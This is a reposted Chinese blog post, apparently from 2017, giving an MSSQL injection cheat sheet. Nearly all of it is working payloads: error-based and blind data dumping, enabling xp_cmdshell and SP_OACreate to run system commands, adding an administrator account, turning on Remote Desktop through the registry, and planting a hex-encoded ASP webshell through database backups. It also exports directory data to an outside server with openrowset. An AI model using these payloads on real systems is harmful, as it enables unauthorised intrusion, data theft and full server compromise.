MSSQL注入语句精华版

---------------------------------------获取基本信息-------------------------------------

  • 判断是不是MSSQL:

    and exists (select * from sysobjects) --

    and exists (select count(*) from sysobjects) --//效率更高

    说明:存在sysobjects表,说明是mssql。如果存在返回真,查询结果和原结果相同,否则报错或不同。

  • 判断支不支持堆叠查询:

    ;declare @d int--

    ;select count(*) from sysobjects--

    说明:如果支持,查询结果和原结果相同,否则报错或不同。

  • 判断是否站库分离:

    and 1=(@@servername%2b'|'%2bhost_name())--

    and exists(select * from admin where 1=(Select (case when host_name() =@@servername then 1 else 0 end)))--

    and exists(select * from 已知的表名 where 1=(Select (case when host_name()=@@servername then 1 else 0 end)))--判断站库分离

  • 判断XP_CMDSHELL是否存在:

    and 1=(Select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') -- 说明:如果存在返回真,查询结果和原结果相同,否则报错或不同。

  • 查看xp_regread扩展存储过程是否存在:

    and 1=(select count(*) FROM master..sysobjects where name= 'xp_regread')-- 说明:如果存在返回真,查询结果和原结果相同,否则报错或不同。

  • 爆数据库版本:

    and 1=@@version--

    说明:通过将数字和字符串进行比较,字符串转换数字报错,爆出原字符串。

  • 爆主机名:

    and 1=host_name()--

  • 爆本地服务名:

    and 1=@@servername--

  • 爆当前数据库:

    and 1=quotename(db_name())--

    and 1=db_name() %2b'|'--

    and 1=db_name()--

    说明:如某数据库的库名为1,将字符串1转换为int是不会报错的,所以使用quotename函数或者将字符串1与字符|连接,彻底变成一个字符串,1/转换成int报错,从而爆出我们想要的信息。

--------------------------------获取用户及权限信息----------------------------------------

  • 爆当前数据库用户:

    and 1=user--

    and 1=quotename(user)--

    and 1=convert(int,@@version)--数据库版本、操作系统 db_name()/user_name()

  • 获取当前数据库权限:

    and 1=(select IS_SRVROLEMEMBER('sysadmin'))--//返回正常为sa

    and 1=(Select IS_MEMBER('db_owner'))--//返回正常为DB_OWNER

    and 1=(select IS_srvrolemember('public'))-- //public权限,较低

    and 1= (Select HAS_DBACCESS('数据库'))-- //判断是否有数据库的访问权限

  • 判断当前数据库用户名是否拥有比较高的权限:

    and 1=(select is_srvrolemember('sysadmin'))--

    and 1=(select is_srvrolemember('serveradmin'))--

    and 1=(select is_srvrolemember('setupadmin'))--

    and 1=(select is_srvrolemember('securityadmin'))--

    and 1=(select is_srvrolemember('diskadmin'))--

    and 1=(select is_srvrolemember('bulkadmin'))--

  • 以下命令仅适应于SQL Server2005及以上版本

    and 1= has_perms_by_name(db_name(), 'DATABASE', 'ANY')-- //判断是否对当前库有所有权限

    and 1= has_perms_by_name('master', 'DATABASE', 'ANY')--//sa权限

-----------------------------------获取数据库信息------------------------------------------

  • 爆所有数据库的数目:

    and 1=(select quotename(count(name)) from master..sysdatabases where dbid>5)--

    and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --

    and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --

    说明:dbid从1-4的数据库一般为系统数据库.

  • 逐个爆数据库:

    and 1=quotename(db_name(N))--

    and 1=db_name(N)%2b'|'--

    and 1=(select name%2b'|' from master..sysdatabases where dbid=5)--

    and 1=(select name%2bchar(1) from master..sysdatabases where dbid=5)--

    and 1=(select top 1 quotename(name) from master..sysdatabases where dbid not in(select top N dbid from master..sysdatabases))--

  • 一次爆出所有数据库(只限于mssql2005及以上版本):

    and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--

    and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

    FOR XML PATH 可以将查询结果根据行输出成XML格式。如提示“字符串或二进制数据将被截断。语句已终止。”错误,原因是数据量太大,可用substring函数分次提取。
    除此之外,还有

    and 1=(select name from master..sysdatabases FOR XML RAW)--

    and 1=(select name from master..sysdatabases FOR XML Auto)--

    和 FOR XML一样,只是返回的内容没有FOR PATH('')简洁。

    ----------------------------------获取数据库中表信息---------------------------------------

  • 爆指定数据库中表的数目:

    and 1=(select quotename(count(*)) from 数据库名..sysobjects where xtype='U') --

    and 1=(select cast(count(*) as varchar)%2b'|' from 数据库名..sysobjects where xtype='U') --

    and 1=(select cast(count(*) as varchar)%2bchar(1) from 数据库名..sysobjects where xtype=0x55)--

  • 逐个爆指定数据库的表:

    and 0<>(select top 1 quotename(name) from 数据库名..sysobjects where xtype='U' where 排除条件)--

    【1、如提示"服务器主体 "xx数据库用户" 无法在当前安全上下文下访问数据库 "xxx",说明该用户无该数据库的访问权限】

    【2、可通过 where name<>'表名'或where name not in('表名1','表名2')来排除已经获取到的表名,如表名中包含某些不允许的词可用not like排除掉】

    and 1=(select top 1 quotename(name) from 数据库名..sysobjects where xtype='U' and id not in(select top N id from 数据库名..sysobjects where xtype='U'))--

  • 一次爆数据库所有表(只限于mssql2005及以上版本):

and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--

and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--

----------------------------------获取数据库表中列的信息----------------------------------------

  • 爆指定表中列的数目:

    and 1=(select quotename(count(name)) from 数据库名..syscolumns where id=(select id from 数据库名..sysobjects where name='指定表名' ))--

    and 1=(select cast(count(name) as varchar)%2bchar(1) from 数据库名..syscolumns where id=(select id from 数据库名..sysobjects where name='指定表名' ))--

  • 逐个爆指定表的列:

    and 1=(select top 1 quotename(col_name(object_id('指定表名'),N)) from 数据库名..sysobjects)--

    and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') and colid=N

  • 一次爆指定表的所有列(只限于mssql2005及以上版本):

    and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

    and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

--------------------------------------------获取数据------------------------------------------------

  • 爆指定表中记录的数目:

    and 1=(select quotename(count(*)) from 指定数据库..指定表名)--

    and 1=(select cast(count(*) as varchar)%2b'|' from 指定数据库..指定表名)--

  • 逐条爆指定表指定列的数据:

    and 1=(select top 1 quotename(指定列名1)%2bquotename(指定列名2) from 指定数据库..指定表名 where排除条件)--

    and 1=(select top 1 cast(指定列名1 as varchar)%2b'|'%2bcast(指定列名2 as varchar) from 指定数据库..指定表名 where排除条件)--

  • 逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):

    and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--

  • 一次性爆N条所有字段的数据(只限于mssql2005及以上版本):

    and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--

  • 爆字段的内容

    and 1=convert(int,(select top 1 指定字段 from 指定表名))

    and 1=convert(int,(select top 1 指定字段 from 指定表名 where username not in (‘爆出的数据’)))

-----------------------------Insert、Update、Delete、Order By、Group By、Top注入----------------

  • Insert:

    insert into users values('vk',convert(int,@@version))--,'123')

    insert into users values('vk','123' + convert(int,@@version))--')

    insert into users values('vk','123') if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2--')

  • Update:

    update users set uname='vvvk',upass='11111' where uid=1 and 1=convert(int,@@version)

    update users set uname='vvvk',upass='11111'+convert(int,@@version)+'' where uid=1

    update users set uname='vvvk',upass='11111' where uid=1 if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2

  • Delete:

    Delete from users where uid =9+convert(int,@@version)

    Delete from users where uid =9 and 1=convert(int,@@version)

    Delete from users where uid =9 if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2

  • Order By:

    select * from users order by uid,convert(int,@@version)

    select * from users order by uid+convert(int,@@version)

    select * from users order by uid if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2

  • Group By:

    select count(uid),uname from users group by uid,uname union select '1','2'

    select count(uid),uname from users group by uid,uname,uname+convert(int,@@version)

    select count(uid),uname from users group by uid,uname if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2

  • top:

    select top 1 @@version,* from users

    select top 0 1 from sysobjects union select @@version--,* from users

--------------------------------------------------利用存储过程-----------------------------------------------

  • 检查是否启用了xp_cmdshell:

    and 1=(Select count(*) from master..sysobjects where xtype='X' and name='xp_cmdshell')--

  • 删除xp_cmdshell:

    ;exec sp_dropextendedproc 'xp_cmdshell'--

  • 启用xp_cmdshell(要求数据库支持堆叠查询):

    ;EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' --
    ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE-- //1为开启,0为关闭.

    如提示:拒绝了对对象 'sp_addextendedproc' (数据库 'mssqlsystemresource',架构 'sys')的 EXECUTE 权限。或提示“用户没有执行此操作的权限。”说明权限不够。如果执行不成功,那么可能xplog70.dll文件被删除了,我们可以上传一个xplog70.dll文件,然后进行恢复,语句如下:
    ;exec sp_addextendedproc 'xp_cmdshell','c:xplog70.dll'

  • 利用xp_cmdshell执行系统命令:

    ;exec master..xp_cmdshell "系统命令" --

  • 示例:

    ;exec master..xp_cmdshell "dir c:" -- //列C盘目录

    ;exec master..xp_cmdshell "net user 帐号 密码 /add &&net localgroup administrators 帐号 /add" -- //添加一个帐号并加入管理员组

  • 如果是用以下方法删除
    drop procedure sp_addextendedproc

    drop procedure sp_oacreate

    exec sp_dropextendedproc 'xp_cmdshell'

  • 则可以用以下语句恢复

    dbcc addextendedproc ("sp_oacreate","odsole70.dll")

    dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

    这样可以直接恢复,不用去管sp_addextendedproc是不是存在

    如果限制了cmdshell就 SP_OACreate

    ;DECLARE @shell INT

    ;EXEC SP_OACreate 'wscript.shell',@shell OUTPUT

    ;EXEC SP_OAMETHOD @shell,'run',null,'C:\windows\system32\cmd.exe /c cmd命令'--

----------------------------------------------不同权限的渗透方法---------------------------------------------

  • SA权限:

    1、如目标服务器开启了远程桌面,那么直接建立系统帐号密码,远程登陆,获取到目标服务器权限:
    命令:
    ;exec master..xp_cmdshell "net user 帐号 密码 /add %26%26 net localgroup administrators 帐号 /add" --

    2、如目标服务器未开启远程桌面,利用下面的命令开启它:

    ;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--

  • DB_OWNER权限:

    主要思路是列目录--备份获取shell。

    1、获取WEB物理路径:

    ;create table temp (dir nvarchar(255),depth varchar(255),files varchar(255),id int not null identity (1,1));--

    创建一个表,共4个字段,前三个字段用于存放执行存储过程xp_dirtree返回结果,ID字段则方便查询指定内容。

    ;insert into temp (dir,depth,files) exec master..xp_dirtree '要浏览的目录绝对路径',1,1--

    利用xp_dirtree 将指定路径的文件和文件夹插入到表中。

    and 1=(select quotename(dir) from temp where id=1)--

    通过枚举id值将临时表中保存的文件和目录一条条查出来。

    and 1=(select quotename(dir) from temp FOR XML PATH(''))--

    一次性将表中保存的文件和目录全部查出来。只限于mssql2005及以上版本。

    ;drop table temp;--

    删除表。

    2、通过差异备份写入一句话木马:
    ;backup database 数据库 to disk = '备份到的路径';--

    将数据库备份一次

    ;create table cmd(a image)--

    创建一个表,包含一个为image类型的字段

    insert into cmd(a) values(0x3c256576616c2072657175657374282270762229253e);--

    将一句话木马插入到cmd表中

    backup database 数据库 to disk='备份到的绝对路径' WITH DIFFERENTIAL,FORMAT;--

    通过数据库差异备份,将木马备份到指定网站目录下

    3、通过日志备份写入一句话木马:

    ;alter database 数据库 set RECOVERY FULL--

    将数据库设置为完整恢复模式

    ;backup database 数据库 to disk = '备份到的绝对路径' with init--

    将数据库备份到指定目录

    ;create table cmd(a image)--

    创建一个表,包含一个为image类型的字段

    ;insert into cmd(a) values (0x一句话木马的十六进制)--

    将一句话木马插入到cmd表中

    ;backup log 数据库 to disk = '备份到的绝对路径'--

    通过数据库日志备份,将木马备份到指定网站目录下

  • Public权限:

    1、通过获取网站管理员帐号和密码登录网站后台,从网站后台突破。

    2、可利用Public遍历服务器目录及文件:

    ;create table ##nonamed(dir nvarchar(255),depth varchar(255),files varchar(255),id int not null identity (1,1));--

    建立一个临时表,只有权限建立临时表。

    ;insert ##nonamed(dir,depth,files) exec master..xp_dirtree '要浏览的目录绝对路径',1,1--

    调用存储过程把执行回来的数据存放到临时表里。

    insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind..dirtree') --

    利用openrowset函数把临时表的数据导到本地MSSQL 的dirtree表里。

    select * from ##nonamed--

    从本地表中查询数据。

  • +++++++++++++++++++++++++++++++++++++++++++++

    searchinfo.aspx?type=title&keyword=3' union select convert(int,db_name())--

    searchinfo.aspx?type=title&keyword=3' union select convert(int,(select top 1 table_name from information_schema.tables))--

    最后还是吐槽下Markdown难用的一批 但是逼高!!SQL Server启动/关闭xp_cmdshell

  • SQL Server启动/关闭xp_cmdshell

  •  1 --启用xp_cmdshell
     2 USE master 
     3 EXEC sp_configure 'show advanced options', 1 
     4 RECONFIGURE WITH OVERRIDE 
     5 EXEC sp_configure 'xp_cmdshell', 1 
     6 RECONFIGURE WITH OVERRIDE 
     7 EXEC sp_configure 'show advanced options', 0
     8 RECONFIGURE WITH OVERRIDE 
     9 
    10 
    11 --关闭xp_cmdshell
    12 USE master 
    13 EXEC sp_configure 'show advanced options', 1 
    14 RECONFIGURE WITH OVERRIDE 
    15 EXEC sp_configure 'xp_cmdshell', 0 
    16 RECONFIGURE WITH OVERRIDE 
    17 EXEC sp_configure 'show advanced options', 0
    18 RECONFIGURE WITH OVERRIDE

     

  • ————————————————
    版权声明:本文为「冰 河」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
    原文链接:https://blog.csdn.net/l1028386804/article/details/85649049

posted @ 2017-05-03 15:31  archie’s  阅读(345)  评论(0)    收藏  举报